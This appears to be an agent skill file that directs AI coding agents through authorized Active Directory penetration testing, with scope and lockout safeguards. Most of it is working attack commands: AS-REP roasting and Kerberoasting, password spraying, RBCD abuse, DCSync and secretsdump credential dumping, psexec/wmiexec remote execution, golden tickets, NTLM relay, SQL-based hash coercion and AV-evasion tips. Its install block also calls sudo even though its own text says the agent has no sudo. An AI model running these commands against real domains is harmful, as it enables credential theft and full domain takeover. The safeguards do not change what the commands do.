# Hunt Ad

> Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

- Skill: `encod3d-sec/hunt-ad-2` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx get-skill add encod3d-sec/hunt-ad-2`
- Raw SKILL.md: https://api.skillmd.com/api/skills/encod3d-sec/hunt-ad-2/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: Encod3d-Sec (https://skillmd.com/u/encod3d-sec)
- Updated: 2026-11-16
- Page: https://skillmd.com/skills/encod3d-sec/hunt-ad-2

---


# Hunt: Active Directory

> Current emphasis (update on wiki harvest): ADCS ESC1-16 abuse and resource-
> based constrained delegation over classic Kerberoast/AS-REP roasting -
> models over-index on over-represented old methods; the newest harvested
> technique leads the checklist until superseded.

**Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

## Paths (binding - define once at the top of the run notes)

    # seat side (wsl) - engagement tree is DOUBLE-NESTED in VMshare:
    ENG_DIR=/mnt/c/Users/Lenovo/Desktop/VMshare/<eng>/<eng>
    RUN=$ENG_DIR/hunt/ad/<domain>
    # VM side (WHERE nxc/impacket/certipy run, same tree through the share):
    ENG_DIR=/mnt/VMshare/<eng>/<eng>
    RUN=$ENG_DIR/hunt/ad/<domain>

Corpus and probes live in the VMshare tree; the VM runs tools against
the /mnt/VMshare spelling as user tz; the seat reads the same bytes at
the /mnt/c/Users/Lenovo/Desktop/VMshare spelling. The repo tree targets/
<eng> is admin/ingest only - hash dumps and cred lists NEVER land
there.

## Transport

Every VM-native command block ships through ONE documented transport:

    cd /mnt/c/Users/Lenovo/Documents/ObisidianVaults/ZTorch/ZTorch && bash scripts/vm-ssh.sh '<command>'

- vm-ssh lands as user tz (NOT root): no root-only paths, no sudo.
- vm-ssh.sh takes the command as ONE argument; quotes ship as base64
  (`echo <b64> | base64 -d | bash` inside the vm-ssh argument).
- Non-login shells do NOT source profile.d: target-facing fetches MUST
  use /opt/scope-shim/bin/{curl,httpx} by absolute path (AD tools
  speak SMB/LDAP/Kerberos directly - the shim governs HTTP fetches).
- Shim verdict semantics (verified live): out-of-scope dies rc 126
  (never work around); in-scope passes; UNKNOWN gets an ADVISORY -
  not approval; verify against scope.md and self-deny.
- Long ops (BloodHound collection, secretsdump, hashcat) run detached
  (vm-bg.sh) + logs read back; the bridge drops at ~2min. Ligolo
  tunnel only for lateral movement; never pivot through out-of-scope subnets.

## Entry gate

All four must pass; each is falsifiable:

1. Active engagement exists (repo tree targets/<eng>/active.md) and
   the domain/DC is on targets/<eng>/scope.md in-scope. Scope-guard
   is the deny. (targets/ is the repo admin tree; $ENG_DIR holds
   corpus and run artifacts only - see Paths.)
2. hunt-core loaded (skills/exploit/hunt/hunt-core/SKILL.md).
3. Producer verified - at least ONE of:
   (a) a foothold or captured creds exist ($ENG_DIR loot.md /
   identities rows - AD needs SOME principal or anon access point); \
   (b) $ENG_DIR/state.md asset table has AD rows (DC host, domain,
   open 445/389/88); \
   (c) kickoff seeded $RUN/raw/domain-map.md.
   None = dispatch the surface lane first.
4. Toolchain preflight (fails LOUD; absent tools echo N/A and
   constrain their branch):

       for t in /usr/bin/jq /usr/bin/python3                  /opt/scope-shim/bin/curl; do
         [ -x "$t" ] || { echo "MISSING TOOL: $t"; exit 1; }
       done
       # install-on-demand (operator rule): install what the branch needs
       command -v nxc >/dev/null          || { pip3 install --user --break-system-packages -q pipx               && /home/tz/.local/bin/pipx install netexec; }          || echo "N/A: nxc absent on VM (install failed)"
       command -v certipy >/dev/null          || pip3 install --user --break-system-packages -q certipy-ad          || echo "N/A: certipy absent on VM (install failed)"
       # per-tool install classes (a pip3 impacket cannot provide these)
       command -v ldapsearch >/dev/null          || sudo apt-get install -y ldap-utils 2>/dev/null          || echo "N/A: ldapsearch absent on VM (install failed)"
       command -v kerbrute >/dev/null          || { export HOME=/home/tz; go install github.com/ropnop/kerbrute@latest 2>/dev/null; }          || echo "N/A: kerbrute absent on VM (install failed)"
       command -v hashcat >/dev/null          || sudo apt-get install -y hashcat 2>/dev/null          || echo "N/A: hashcat absent on VM (install failed)"
       for t in impacket-GetNPUsers impacket-GetUserSPNs                 impacket-secretsdump impacket-getST impacket-rbcd; do
         command -v "$t" >/dev/null            || pip3 install --user --break-system-packages -q impacket            || echo "N/A: $t absent on VM (install failed)"
       done

## Checklist (mandatory)

Copy checklist.md (this skill's dir) to
`$ENG_DIR/hunt/ad/<domain>/ad-checklist.md` at run start. Unchecked at
stop = UNCHECKED lane, re-run from the first unchecked step. The
SKILL.md text and the checklist header agree byte-for-byte on that
copy target.

## Nudge

Review-skill re-injection text (pinned; NOTE: completion-gate emits
its own generic nudge - both mean: resume at the first unchecked box):

    Your work was just reviewed by the review skill and it was found
    that you either missed a step of analysis, or didn't generate an
    artifact of sufficient proof. Look at the markdown based checklist
    and the output for each step, find what you missed, and complete
    that step.

2025-26 technique ladder: `references/bypass-arsenal.md` (NEW classes, defense->bypass map).

## Wiki

Hub: [[active-directory-moc]] - Primary page: [[active-directory]] - Tooling: [[netexec]]
Anchors: [[adcs]], [[kerberos-attacks]], [[ad-lateral-movement]], [[default-credentials]]
**REFS:** [[active-directory]], [[adcs]], [[kerberos-attacks]]

mcp__wiki-search__query (lex) "Active Directory kerberoast AS-REP ADCS ESC delegation DCSync lateral movement BloodHound" via wiki-search MCP - ONLY when you have a concrete hint the map above
doesn't cover (a specific sink/version/CVE, an observed escape); not a blanket first step.

Read [[netexec]]'s LDAP + SMB sections before hand-rolling any AD enumeration; most steps below are one nxc flag.

## Impacket quick reference (use this, don't hand-roll) (expert skills own the deep chains)

Every impacket-* invocation below is a real, tested subcommand - the SAME primitive a hand-rolled
python-ldap/socket script would reimplement worse. Look the operation up here first; full context for
each lives in the numbered methodology step. `[[impacket]]` has the general auth-string syntax.

| Operation | Command | Step |
|---|---|---|
| AS-REP roast (no creds, preauth-disabled users) | `impacket-GetNPUsers <domain>/ -usersfile users.txt -no-pass -dc-ip <dc>` | 3 |
| Kerberoast (any creds, person SPNs) | `impacket-GetUserSPNs <domain>/<user>:<pass> -request -dc-ip <dc>` | 3 |
| Kerberoast, credless (AS-REP-roastable requester) | `impacket-GetUserSPNs -no-preauth <asrep_user> -usersfile <spn_users> -dc-host <dc> <domain>/` | 3 |
| Request/cache a TGT (for `-k` ops) | `impacket-getTGT <domain>/<user>:<pass>; export KRB5CCNAME=<user>.ccache` | 6, 7 |
| Find unconstrained/constrained/RBCD delegation | `nxc ldap <dc> -u <user> -p <pass> --find-delegation` (impacket has no single-shot equivalent) | 6 |
| Constrained delegation w/ protocol transition | `impacket-getST -spn <spn> -impersonate <target> -dc-ip <dc> '<domain>/<user>:<pass>'` | 6 |
| RBCD: add attacker computer | `impacket-addcomputer <domain>/<user>:<pass> -computer-name 'FAKE$' -computer-pass <pw> -dc-ip <dc>` | 6 |
| RBCD: write the delegation | `impacket-rbcd <domain>/<user>:<pass> -delegate-to '<target>$' -delegate-from 'FAKE$' -action write -dc-ip <dc>` | 6 |
| DCSync (NTDS, all or one account) | `impacket-secretsdump -just-dc <domain>/<user>:<pass>@<dc>` (add `-just-dc-user <name>` to scope it) | 7 |
| Local SAM+LSA dump (local admin, no DCSync rights) | `impacket-secretsdump <domain>/<user>:<pass>@<target>` | 7 |
| Remote exec, SYSTEM (noisy, drops a service) | `impacket-psexec <domain>/<user>:<pass>@<target>` | 8 |
| Remote exec, semi-interactive, no disk artifact | `impacket-wmiexec <domain>/<user>:<pass>@<target>` | 8 |
| Remote exec, AV-evasive fallback | `impacket-smbexec` / `impacket-atexec <domain>/<user>:<pass>@<target>` | 8 |
| Read one file as admin, no exec (AV blocks output retrieval) | `impacket-smbclient <domain>/<user>:<pass>@<target> -k -no-pass -c 'get <UNC path>'` | 8 |
| Golden/silver ticket (krbtgt / service hash held) | `impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> [-spn <service>] Administrator` | 9 |
| NTLM relay (pair with a coercion trigger) | `impacket-ntlmrelayx -tf targets.txt -smb2support` | - |
| Enumerate unconstrained-delegation computers | `impacket-findDelegation <domain>/<user>:<pass> -dc-ip <dc>` | 6 |

Pass-the-hash: swap `<user>:<pass>` for `-hashes :<NTLM_hash> <domain>/<user>`. Pass-the-ticket: swap the
whole auth string for `-k -no-pass` with `KRB5CCNAME` exported. Every op needs `-dc-ip <dc>` (and
`-target-ip <dc>` for Kerberos-only ops) - see the stale-`/etc/hosts` gotcha below.

## Attack surface signals

**APPROACH:** Fire the unauth-enum wave at once (null/guest shares + RID-brute, anon LDAP users + description fields, AS-REP roast, person-object SPN Kerberoast, lockout policy, `certipy find -vulnerable`), then walk enum -> roast -> ACL/ADCS ESC1-16 -> delegation -> DCSync -> lateral, reusing captured creds inside the lockout gate.
**AVOID:** A captured-but-uncracked hash, a dumped ticket, a theoretical BloodHound/ESC edge never executed, or an unvalidated spray hit is NOT confirmation - creds must authenticate to the DC (`[+]`/`Pwn3d!`) or the ticket/ACL abuse must be exercised end to end.

Ports: SMB 445, LDAP 389/636, Kerberos 88, ADWS 9389, WinRM 5985/5986, RPC 135, MSSQL 1433, ADCS web enroll 80/443 (`/certsrv`).
Footholds: null/guest SMB, anonymous LDAP bind, AS-REP-roastable users (no preauth), SMB signing OFF (relay), `ms-DS-MachineAccountQuota > 0`, pre-Win2000 computers, LAPS readable.
SQL Server access (1433) doubles as a coercion foothold: point `xp_dirtree`/`xp_subdirs` at the attacker SMB listener and the SQL service account (often an over-privileged domain account) hands over its NetNTLMv2 - feed the capture into step 3 ([[network-service-attacks]]).

## Spray-safe + AD safety gate (READ FIRST)
- **Spray-safe lockout gate - the AD analog of the `hunt-core` enumeration limits.** Read the domain lockout policy BEFORE any spray: `nxc smb <dc> -u <user> -p <pass> --pass-pol`. Spray at most **1 attempt per account per observation window**, and never exceed `(lockoutThreshold - 1)` attempts per account per window. RoE `no_bruteforce` / `passive_only` -> enumerate only, NO spray. Locking real accounts is a client-impacting incident, not a finding.
- **Also read SYSVOL's Default Domain Policy `GptTmpl.inf`** alongside `--pass-pol`: `LockoutBadCount = 0` = lockout disabled domain-wide (changes spray calculus), and stock files close the GPP `cpassword` check in one read ([[ad-enumeration]]).
- **Reuse captured creds first** (from `loot.md`) before researching new ones; default/known creds before any spray (see [[default-credentials]]).
- **Clock skew:** sync to DC (`ntpdate <dc>` or `faketime`) or Kerberos TGT requests fail with `KRB_AP_ERR_SKEW`.
- **Stale `/etc/hosts` realm entry silently breaks Kerberos.** A prior box's `<realm> -> <old-ip>` line makes impacket resolve the KDC to a dead host and hang with `[Errno 110] Connection timed out (REALM:88)`, even though certipy (which forces `-dc-ip`) worked seconds earlier. When you add the DC to `/etc/hosts`, REMOVE any existing line for the same realm, and ALWAYS pass `-dc-ip <dc>` (and `-target-ip <dc>`) on impacket Kerberos ops so KDC/target resolution never depends on DNS/hosts. Same fix if `certipy req` throws `The NETBIOS connection ... timed out`: add `-target-ip <dc>`.
- **Hash recovered but the account blocks NTLM?** ESC1/UnPAC/PKINIT hands you BOTH an NT hash AND a TGT ccache. If PtH returns `STATUS_ACCOUNT_RESTRICTION` (the account is in Protected Users / NTLM-hardened, common for `Administrator`), the hash is a red herring - use the ccache: `export KRB5CCNAME=<user>.ccache; impacket-smbclient/secretsdump -k -no-pass -dc-ip <dc> <dc-fqdn>` reads flags / DCSyncs over Kerberos. See [[adcs]].
- Never pivot through out-of-scope subnets (Ligolo tunnel only for lateral movement).

## Ranked path + highest-value edges
Ranked: enum -> AS-REP/Kerberoast -> ACL / ADCS ESC1-16 -> delegation -> DCSync -> lateral -> DA. **The ADCS ESC1-16 matrix and the delegation paths are the highest-value edges** (both owned by the experts: `Skill(hunt-ad-adcs)`, `Skill(hunt-ad-kerberos)`) - one vulnerable template or a writable `msDS-AllowedToActOnBehalfOfOtherIdentity` is often the entire DA chain. **Chain:** every cracked/sprayed cred re-feeds enum + BloodHound; a Kerberoastable SPN account doubles as an RBCD `-delegate-from`; an on-box cred store (step 7) frequently yields the account that holds the winning ACL. A Windows foothold is an AD vantage only if it is domain-joined: confirm with `nltest /dsgetdc:` / `systeminfo` before investing in pivots from it (a WORKGROUP standalone has zero AD pivot value, and `/dsgetdc` doubles as that host's cheapest DC-reachability test) - [[ad-enumeration]].

## Methodology

**Efficiency: fire the unauth-enum WAVE at once, don't grind it serially.** On a fresh DC the first
6 reads are independent - launch them together (parallel tmux tabs / back-to-back), then read results:
null+guest shares & RID-brute, anonymous LDAP users + **all `description`/`info` fields** (planted seed
passwords live here), AS-REP roast of the whole user list, person-object SPN enum (Kerberoast), the
LDAP lockout policy, AND `certipy find -vulnerable` (ADCS ESC is on MOST modern THM/HTB DCs - run it in
the unauth wave with any cred you get, not as an afterthought). This one wave usually already contains
the foothold (a description seed to spray) and the escalation (an ESC template).

1. **Unauth enum:**
```bash
nxc smb <dc> -u '' -p '' --shares            # null session
nxc smb <dc> -u guest -p '' --rid-brute 5000 # guest RID cycling when null shares are denied
nxc ldap <dc> -u '' -p '' --users            # anonymous bind
# planted-password sweep (classic THM foothold) - read EVERY non-generic description:
ldapsearch -x -H ldap://<dc> -b <base> "(objectClass=user)" sAMAccountName description
enum4linux-ng -A <dc>;  rpcclient -U '' -N <dc>
```
2. **Build the user list - harvest EXHAUSTIVELY, then validate (lockout-safe):**
   When anon enum is locked down, the user list comes from the target's own web app + OSINT. **Scrape
   EVERY page, not just the homepage** - names hide in `about`/`team`/`staff`/`leadership`/`testimonial`/
   `contact` sections that the index page does not show. (Missing the `about.html` "Our Team" block once
   cost two valid users on a box.) Extract every `First Last`, note the format from any leaked email
   (`j.doe@dom` = `f.last`), generate permutations, and let kerbrute tell you which are real:
```bash
# pull all pages, strip tags, extract capitalized name bigrams
for p in $(curl -s http://<t>/ | grep -oiE 'href="[^"]+\.html?"' | cut -d'"' -f2 | sort -u); do
  curl -s http://<t>/$p | sed -e 's/<[^>]*>/ /g'; done | grep -oE '[A-Z][a-z]+ [A-Z][a-z]+' | sort -u
# -> for each "First Last": emit f.last, flast, first.last, first_last, last  (+ leaked-email format)
kerbrute userenum -d <domain> --dc <dc> users.txt      # filler template names simply will NOT validate
# SPRAY with kerbrute, NOT a large SMB loop: kerbrute passwordspray is parallel Kerberos pre-auth
# (~500 users in seconds); `nxc smb -u <file>` walks them one TCP session at a time (minutes). Same
# result, ~50x faster - reach for kerbrute first on any big list, keep nxc for the 1-off cred check.
kerbrute passwordspray -d <domain> --dc <dc> users.txt 'CHANGEME2023!'   # one-pass, lockout-gated
```
   Every validated user is an AS-REP roast + spray target (step 3). Do NOT stop at the first/only name
the homepage leaks. PERSIST the validated list to
   $RUN/raw/users.md (one user per line) - the kerberos expert's entry
   gate requires it; a list left in a VM-local users.txt is invisible to
   the experts.
3. **Classify + dispatch (the split):** with the enum wave read, classify
   the surface and dispatch the expert that owns it - the mapper does NOT
   re-derive expert depth:
   - Roastable surface (AS-REP list, person-object SPNs, cracked-hash
     cracking discipline) -> `Skill(hunt-ad-kerberos)`
   - ACL edges (GenericAll/GenericWrite/WriteDACL/ForceChangePassword,
     GPO, ADIDNS, terminal-user attribute re-enum) ->
     `Skill(hunt-ad-acl)`
   - Certificate templates / `certipy find -vulnerable` hits ->
     `Skill(hunt-ad-adcs)`
   The unauth wave's `certipy find -vulnerable` (run it in wave 1 with
   any cred you get - ESC is on MOST modern DCs) feeds the adcs expert
   directly.
4. **Re-feed loop:** every validated/cracked/impersonated cred re-feeds
   step 1 enum + a fresh BloodHound collection (`nxc ldap <dc> -u <user>
   -p <pass> --bloodhound -c all --dns-server <dc> --dns-tcp`; through a
   SOCKS pivot ALWAYS --dns-tcp - UDP DNS never traverses the tunnel and
   DC discovery dies with "Could not find a domain controller"; the ACL
   expert owns the jq-over-zip read); an owned principal with
   an SPN is simultaneously a Kerberoast target and an RBCD
   `-delegate-from` (kerberos expert owns the chain).
5. **Delegation glance (router-only here):** `nxc ldap <dc> -u <user>
   -p <pass> --find-delegation` - any owned-principal row (unconstrained/
   constrained w/ transition/RBCD) routes to `Skill(hunt-ad-kerberos)`.
6. **Distill pointer:** experts own their technique distills; the mapper
   distills enum-wave lessons only.
7. **Credential access / DCSync:**
```bash
nxc smb <dc> -u <user> -p <pass> --ntds                 # if admin
impacket-secretsdump <domain>/<user>:<pass>@<dc>        # DCSync if rights
```
   - **`AutoAdminLogon=1` with no registry `DefaultPassword` is NOT a dead end:** provisioning scripts
     store the password via `LsaStorePrivateData`, so it lives in the LSA secret instead; \
     `impacket-secretsdump` on the host prints it under `DefaultPassword`, and it can be a full DOMAIN
     credential, valuable far beyond the host ([[windows-privilege-escalation]]).
   - **On-box cred stores (via RDP/session):** a user only in **Remote Desktop Users** can still RDP the DC (nxc rdp shows Pwn3d) -> hunt KeePass `*.kdbx`, browser/WinSCP/RDP creds. A KeePass DB keyed to the **Windows user account** (`KeePass.config.xml` `<UserAccount>true</UserAccount>`) is UNCRACKABLE offline - open KeePass ON the box as that user, then spray the creds for reuse. Headless-RDP recipe: [[ad-lateral-movement]] / Skill(ctf-box); see [[password-cracking]].
8. **Lateral:** PtH / PtT / overpass-the-hash -> `evil-winrm`, `nxc ... -x`, `impacket-wmiexec`, `psexec`. **AV gotcha:** Defender blocks `nxc -x`/wmiexec output retrieval ("could not retrieve output file"); to just READ a file (the flag) as admin, skip exec entirely: `smbclient //<dc>/C$ -U <dom>/Administrator --pw-nt-hash <nt> -c 'get Users\Administrator\Desktop\flag.txt'`, or use `--exec-method smbexec/atexec`.
   - **A valid local admin refused by WinRM but accepted by SMB** = session-configuration SDDL
     granting built-in Administrators only (hits dedicated service-admin accounts even with
     `LocalAccountTokenFilterPolicy=1`): do not grind WinRM variants, route the admin work over SMB
     (`impacket-secretsdump`, `smbclient //host/C$`) - [[windows-using-credentials]].
9. **Dominance:** golden (krbtgt) / silver / diamond ticket, DCSync persistence, AdminSDHolder, certificate (ESC8 NTLM relay to ADCS web enroll).
10. **Distill (confirmed, GENERIC):** a reusable ACL chain / ADCS ESC variant / relay primitive -> `python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/active-directory/adcs.md`.

## Confirmation gate

**NOT confirmation:** a hash captured but never cracked or used; a Kerberoast/AS-REP ticket dumped but not cracked; a BloodHound edge (`GenericWrite`, `AddAllowedToAct`, an ESC "vulnerable" flag) that is theoretical and never executed; `certipy find` listing a template you never enrolled against; a spray "hit" you have not re-validated with a clean authentication.

**IS confirmation:** credentials validated against the DC (`nxc smb`/`ldap`/`winrm <dc> -u <user> -p <pass>` returns `[+]` / `Pwn3d!`); a TGT/TGS obtained AND used (authenticated an action, read a file, DCSynced with it); a DCSync that actually returned NT hashes; an ACL abuse executed end to end (shadow-creds -> authenticated, targeted Kerberoast -> cracked, group add -> new access gained); an ESC exploited to a certificate that authenticated as the target. Reproduced from your own written steps.

## Validation

- Proof = the attack's own artifact: a cracked hash from a captured ticket, a readable
  DC-sync dump, a shell as the delegated context. A BloodHound edge alone is a HYPOTHESIS.
- Negative control: the same request WITHOUT the abused right (no /ticket, no write ACE)
  fails the same way; the pair is the finding.
- Counterevidence to seek: confirm the edge against live ACL (`nxc ... --dc`), group
  membership via `whoami /groups` on the affected context; BH caches go stale after
  ACL rebuilds.

## False Positives

- BloodHound edge present but ACL since rebuilt (re-collect before reporting).
- Kerberoastable service whose ticket cracks infeasibly (machine-length password):
  capture is real, impact is not; note the hash, deadend the class.
- AS-REP-roastable account that is DISABLED (no login possible).
- Constrained delegation "open" but protocol signing enforced; relay dies.
- Writable GPO the principal cannot link/apply: write is not execute.

## Cross-routing

- Load hunt-windows when you land on a member host for local privesc before DA.
- Load hunt-m365 when the tenant is Entra/hybrid (AD Connect bridge both ways).
- Load hunt-auth for AD FS / cert-based web auth flows.
- Not this skill: plain local privesc with no domain in play (hunt-windows).

## Severity

CRITICAL = DA / domain compromise / DCSync / ESC1 / ESC8. HIGH = user creds + lateral movement, Kerberoast cracked to a privileged account. MEDIUM = enum / info disclosure, a spray hit with no privilege.

## N/A escapes

Each absent-tool echo above ("N/A: nxc absent on VM (install failed)" etc.) constrains
its branch only. Whole-run escapes:
- "N/A: no AD surface in scope"
- "N/A: no valid principal and no anon access point"
An N/A tick is a claim with a reason, never a silent pass. Identical
strings in SKILL.md and checklist.md.

## Bitter-pill variant

Freehand run: skip checklist + numbered steps, one freehand pass over
the domain map, output ONLY $RUN/analysis/bitter-pill.md (tried/found/
dismissed, every claim carries evidence). The lockout gate and the
DC-validated proof gate survive freehand. Declare with a _requests.md
row (lane = hunt-ad-bitterpill).

### Depth walk (mandatory)

Walk EVERY applicable row of the payload arsenal page cited above.
Record each row in `$RUN/coverage-depth.md` as a table
`| row | state | evidence |` where state is `probed`, `blocked`, or
`N/A`, and evidence is a probe-pair path or a Deadends.md line. A bare
`probed` with no evidence reference fails the completion gate
(NEEDS-REVIEW). N/A rows cite why (surface shape forbids it).

Blocked implies research: before any Deadend is claimable on a blocked
row, (a) walk the arsenal page's bypass-ladder rows for that control
class, and (b) run one wiki query AND one `mcp__wigolo__search` for the
specific tech-plus-control bypass. Results, or a genuine null, land in
`coverage-depth.md`. "No research tried" is not a claimable state.

## Exit artifact + handoff

ONE exit artifact set: $RUN/candidates.jsonl + candidates.md +
$ENG_DIR/hunt-ad-<domain>.md (pointer with `AD-HUNT-DONE enum=<n> roast=<n> acl=<n> adcs=<n> delegation=<n> dcsync=<n> lateral=<n> next=<experts to dispatch>`).
Consumer (triage) finds at $RUN: raw/domain-map.md, probes/*.jsonl,
probes/raw/, candidates.{jsonl,md}. Findings leave ONLY through G1.
Distill: `python3 scripts/wiki-stage.py --kind technique --slug
<slug> --target-page techniques/active-directory/adcs.md`.

## Deadends

```
Append: - [ ] AD spray <domain> -- full user x pass matrix once (Season2025!/Welcome1), 0 hits, lockout thr 5;
              ADCS no ESC template; no BloodHound path from <user>
```

Record the boundary (which creds, which lockout threshold, which ESC/BH gaps), not just that it failed. A bare entry gets re-run.

## Stop conditions

Terminal states complete (probed | N/A with reason | deadend row
written), nothing written into skill dirs (skills/exploit/hunt/
hunt-ad/ stays untouched), no unchecked boxes above REVIEW. hunt-core
stop conditions fire unchanged (a confirmed DC compromise or crown-jewel access = report at the primitive; lockout risk crossed = stop sprays immediately, do not retry with a new password).

